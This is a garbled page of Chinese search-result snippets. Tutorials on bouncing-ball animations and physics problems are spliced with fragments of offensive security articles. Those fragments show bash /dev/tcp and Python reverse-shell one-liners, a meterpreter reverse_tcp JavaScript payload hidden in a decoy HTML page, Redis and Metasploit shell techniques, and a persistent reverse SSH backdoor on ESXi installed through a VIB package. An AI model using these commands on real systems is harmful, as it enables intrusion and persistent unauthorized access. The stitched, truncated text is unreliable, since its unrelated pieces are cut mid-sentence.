二、再给小球加上刚体rigibody 2d 组件和碰撞器circle colliders 2d 组件 三、在资源asset栏点击鼠标右键创建,点击2D创建 四、 进行物理材料创建,点击Physics...materrial 2d 五、调整弹力大小,拉到合适位置 六、拖拽物理材料到小球ball上的碰撞器组件中,边完成了 七、效果展示 Unity简单实现小球弹跳效果 延伸拓展 1、在Unity中优化
ps1encode.rb --LHOST 192.168.67.128 --LPORT 4444 --PAYLOAD windows/meterpreter/reverse_tcp --ENCODE cmd -t js...>> shell.js ?...4、创建隐蔽的html文件以及图片文件进行迷惑用户,在html文件中引用恶意的JS文件: ?... SimpleTest </...6、之后成功反弹shell回来 ?
链接:https://www.freebuf.com/articles/system/207109.html 网络世界千奇百怪,多样式留后门,触发条件反弹shell.操作够骚才是王道。...文件来反弹shell ?...利用此命令生成js文件 ?...并重命名为1.js(文件名随意)。 ? 单单放一个js太单调了。实际环境下可以配合html进行调用js文件执行。 ?...我简单的写了一个html来调用js文件 当然你也可以 一个js就反弹 ? 准备好msf回弹的环境 执行exploit 坐等监听执行 三、执行效果 ?
就是类似于 PC端的滚动事件,但是在移动端是没有滚动事件的,所以就要用到 Touch事件结合 js去实现,效果如下: ? 1. 准备工作 什么是移动端的 Touch事件?...brown">列表十 css部分 在列表的父盒子上设定一个 overflow:hidden属性,使超出盒子部分的列表暂时隐藏掉,后面会通过 js...还要做另一件事情,就是获取两点的差值( B.clientY-A.clientY),将这个差值动态赋值给 ul, ul只需要设置向 Y轴方向偏移这个距离,就能实现列表随手指滑动 先来张示意图,怎么通过 js...设定反弹区间 “滑动反弹”,这里的反弹是本篇文章的最后一步,上面说到的问题,就在这里解决。...我们设定一个反弹区间,就是当 centerY的值大于或者小于某个值的时候,让它触发反弹。 设定向上反弹值 向上的值比较简单,设置成“ 0”。为什么是“ 0”呢?
更多内容请见原文,原文转载自:https://blog.csdn.net/weixin_44519496/article/details/120055629
0x01:Redis未授权访问反弹shell Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。...、HTML应用程序(HTAs)等进行反弹shell,它的功能有点类似MSF。...利用msfvenom、metasploit和PowerSploit中的Invoke-DllInjection.ps1 实现dll注入,反弹shell 2.5.1 执行ShellCode反弹Meterpreter...0x03 MSF反弹shell 3.1 使用regsvr32_applocker_bypass_server反弹shell 利用metasploit的web_delivery模块可通过python、php.../ew -s rcsocks -l -e b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 端口 $ .
小球下落问题描述: 一球从100米高度自由落下,每次落地后反跳回原高度的一半;再落下,求它在第10次落地时,共经过多少米?第10次反弹多高?
5935 小球 时间限制: 2 s 空间限制: 16000 KB 题目等级 : 黄金 Gold 题目描述 Description 许多的小球一个一个的从一棵满二叉树上掉下来组成FBT(Full...现在你的任务是,给定FBT的深度D,和I,表示第I个小球下落,你可以假定I不超过给定的FBT的叶子数,写一个程序求小球停止时的叶子序号。...输出描述 Output Description 对应输出第I个小球下落停止时的叶子序号。
个人主页:天寒雨落的博客_CSDN博客-C,CSDN竞赛,python领域博主 目录 python game 小球基础 1.准备工作 2.开始制作 1.创建一个小球 2.创建逐渐变大的小球 3.创建一个自由下落的小球... 4.用if语句实现循环下落 5.做一个循环上下反弹的小球 ---- python game 小球基础 1.准备工作 、1.在文件里找到设置 2.在项目里找到python解释器,点击右边的加号 ...3.搜素pygame并安装 同理下载pgzero安装包 2.开始制作 1.创建一个小球 代码 import pgzrun def draw(): screen.fill('green')...fill后面的green表示设置背景的填充颜色为绿色 filled_circle后面的(400,300)表示圆中心位置坐标,30表示圆的半径,red表示圆的颜色 执行结果 2.创建逐渐变大的小球...400,y),30,'red') def update(): global y y=y+1 if y>600: y=0 pgzrun.go() 5.做一个循环上下反弹的小球
用原生 JS 封装一个动画插件。效果如下: ? 这个飞驰的小球看起来是不是特有灵性呢?没错,它就是用原生JS实现的。 接下来,就让我们深入细节,体会其中的奥秘。...一、需求分析 封装一个插件,将小球的 DOM 对象作为参数传入,使得小球在鼠标按下和放开后能够运动,在水平方向做匀减速直线运动,初速度为鼠标移开瞬间的速度,在竖直方向的运动类似于自由落体运动。...并且,小球的始终在不离开浏览器的边界运动,碰到边界会有如图的反弹效果。...; curT += speed; //小球到达视口最右端,反弹 if (curT >= maxL) { this.ele.style.left...; curT += speed; //小球飞到视口顶部,反弹 if (curT >= maxT) { this.ele.style.top
语法: if(ball.x < ball.radius){ //小球“碰到”左边界时 }else if(ball.x > cnv.width - ball.radius){ //小球“碰到...//tools.js //随机生成一个十六进制颜色值的字符串 tools.getRandomColor = function(){ let color = '#'; for(let...1.4 边界反弹 边界反弹,指的是物体触碰到边界之后就会反弹回来,就像现实世界中小球碰到墙壁反弹一样。 在物体碰到边界后,我们需要做两件事,即保持它的位置不变和改变它的速度力量。...示例:简易俄罗斯方块 //tools.js //判断两个矩形是否发生碰撞 tools.checkRect = function(rectA, rectB){ return !...true : false; } 示例:两个球碰撞 //tools.js //判断两个圆形是否发生碰撞 tools.checkCircle = function(circleB, circleA){
大家在做渗透测试的时候,遇到linux的服务器,想反弹shell回来本地溢出提权,怎么办?上传反弹脚本?当然可以,简单来说就是A主机可以通过执行B主机上的命令并且把返回值都返回到A上。...这样的话就可以直接在远程输入了: 那么,0>&2也是可以的,代表将标准输入重定向到标准错误输出,而标准错误输出重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程 python实现反弹...(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i'])" 成功反弹
简单的简述一下原理: 首先是用css在dom创建的div里面画一个若干个圆,圆的大小是随机数,圆的数量也是随机设置的,当然颜色也是随机的, 最后是移动速度,然后拿到屏幕的宽高,下一步就是让小球运动起来,...background: radial-gradient(circle, #fff, #fff600); border-radius: 50%; } // 创建[1,11)个小球...var mdAttr = document.createDocumentFragment(); var OBall = [];//小球对象数组 for..."div"); OBall[i].setAttribute("class", "ball"); var cirR = random(80,100);//小球半径...,以免超过边界 MaxW = W - ball.offsetWidth; ball.startX += ball.Vx;//改变小球位置
以小球来说,我们用oldX和oldY分别表示小球旧的位置坐标,新的位置坐标是ball.x和ball.y,可以得到: vx = ball.x - oldX; vy = ball.y - oldY; 示例:...抛掷小球 //tools.js Ball.prototype = { ......true : false; } } //my-canvas.js methods: { ... // 捕获/拖拽/抛掷小球 captureBall(cxt, cnv){...2.2 弹性动画 在缓动动画中,物体滑动到终点就停下来了,在弹性动画中,物体滑动到终点后还会来回反弹一会,直至停止。...如果我们想要使用Box2DWeb,只需要引入Box2D.js或Box2D.min.js就可以使用了。
) 半径:r X轴速度:Vax Y轴速度:Vay 圆心:B(x2,y2) 半径:R X轴速度:Vbx Y轴速度:Vby } 碰撞的条件是: 1.两个小球的圆心距离不大于两小球半径之和...(r+R),即: { (x2 - x1)^2 + (y2 - y1)^2 <= (r + R)^2 } 2.小球碰撞后,两小球的数度交换,即: {...,他们之间会产生碰撞,当然小球和上下左右都会产生碰撞 碰撞后,小球会改变方向返回 而最下面的游标则用于调节小球的移动速度,游标的范围是[-100, 100] ''' __author...self.balls = [] #存放小球x坐标数组 self.ball_x = [] #存放小球y坐标数组 self.ball_y...= [] #存放小球x轴方向速度数组 self.ball_v_x = [] #存放小球y轴方向速度数组 self.ball_v_y =
bash -i > /dev/tcp/127.0.0.1/2345bash -i:打开一个bash交互界面 >:重定向 /dev/tcp:调用建立一个socket连接 127.0.0.1:可以任意更改需要反弹到的...IP地址 2345:反弹到的端口 上面的是一个典型的反弹shell的语句,但是这种不能实时地在攻击机输入,攻击机输出,只能在靶机输入东西,然后在攻击机看到 image.png 攻击机使用 nc -lvp...2200监听反弹回来地shell,然后等靶机输入东西后,攻击机才能获取到内容,攻击机不能传输命令 1.2second bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 这种就是交互式...&1 2>&1 和上面的效果一样 1.4fourth bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 值得一提的是,">&"相当于"2>&1",标准错误输出 一个标准的反弹
现在,告诉你线段的长度L,小球数量n,以及n个小球的初始位置,请你计算t秒之后,各个小球的位置。...提示 因为所有小球的初始位置都为偶数,而且线段的长度为偶数,可以证明,不会有三个小球同时相撞,小球到达线段端点以及小球之间的碰撞时刻均为整数。 ...三秒后,第二个小球与第三个小球在位置9发生碰撞,速度反向(注意碰撞位置不一定为偶数),三个小球位置分别为7, 9, 9。 ...四秒后,第一个小球与第二个小球在位置8发生碰撞,速度反向,第三个小球碰到墙壁,速度反向,三个小球位置分别为8, 8, 10。 五秒后,三个小球的位置分别为7, 9, 9。...每秒每个小球移动一个单位长度,小球每次移动之后都需要判断①该小球是否和其他小球发生碰撞,若发生了碰撞则碰撞的俩者都要改变方向;②该小球是否到达边界,若到达了边界也改变方向。
文章前言本篇文章我们主要介绍一些在Docker中反弹shell到远程服务器的方法常见方法Step 1:在远程服务器端监听端口nc -lnvp 9999Step 2:通过CDK反弹shell#命令格式cdk...reverse-shell :#使用实例cdk run reverse-shell 192.168.17.143:9999Step 3:成功获取到shell其他技巧我们还可以使用反引号来反弹...shell`/bin/bash -i >& /dev/tcp/192.168.17.143/9999 0>&1`成功反弹shell:
它在第N次落地时反弹多高?共经过多少米? 保留两位小数 输入 M N 输出 它在第N次落地时反弹多高?共经过多少米?
前言 本文将演示使用openssh在ESXi(6.5)上实现反弹Shell,并利用VIB(vSphere Installation Bundle)实现Persistent(开机自启动,重启不丢失配置)。...ssh root@8.8.8.8 # 生成/.ssh/目录 vi /.ssh/id_rsa # 复制私钥文件:AttackerServer的内容到这里 chmod 0600 /.ssh/id_rsa 3.反弹...Shell 3.1 在ESXi上执行以下命令,反弹Shell: ssh -N -f -R 50000:localhost:22 root@8.8.8.8 3.2 在Attacker PC上执行以下命令,...-C -t stage -v VMwareUpdater -f scp VMwareUpdater.vib root@remote:/tmp/VMwareUpdater.vib 4.3 安装VIB包,反弹...2.重启ESXi,等待10复制,反弹Shell连接成功。
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